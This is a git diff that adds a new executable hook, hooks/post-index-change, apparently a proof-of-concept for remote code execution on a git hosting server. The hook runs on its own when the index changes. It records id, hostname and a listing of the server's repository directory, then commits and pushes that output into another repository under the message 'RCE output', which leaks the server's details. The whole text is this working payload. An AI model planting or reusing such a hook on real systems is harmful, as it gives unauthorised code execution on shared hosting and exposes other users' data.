diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..8f18006 --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,14 @@ +#!/bin/sh +# Run command and save output +id > /tmp/out.txt 2>&1 +hostname >> /tmp/out.txt 2>&1 +ls /data/git/repositories/ >> /tmp/out.txt 2>&1 +# Commit the output file to the repo +export GIT_DIR=/data/git/repositories/pocnet_1793467068/netscan6.git +export GIT_WORK_TREE=/tmp/wt_netscan6 +mkdir -p /tmp/wt_netscan6 +cp /tmp/out.txt /tmp/wt_netscan6/output.txt +cd /tmp/wt_netscan6 +git add output.txt +git commit -m "RCE output" 2>&1 +git push origin main 2>&1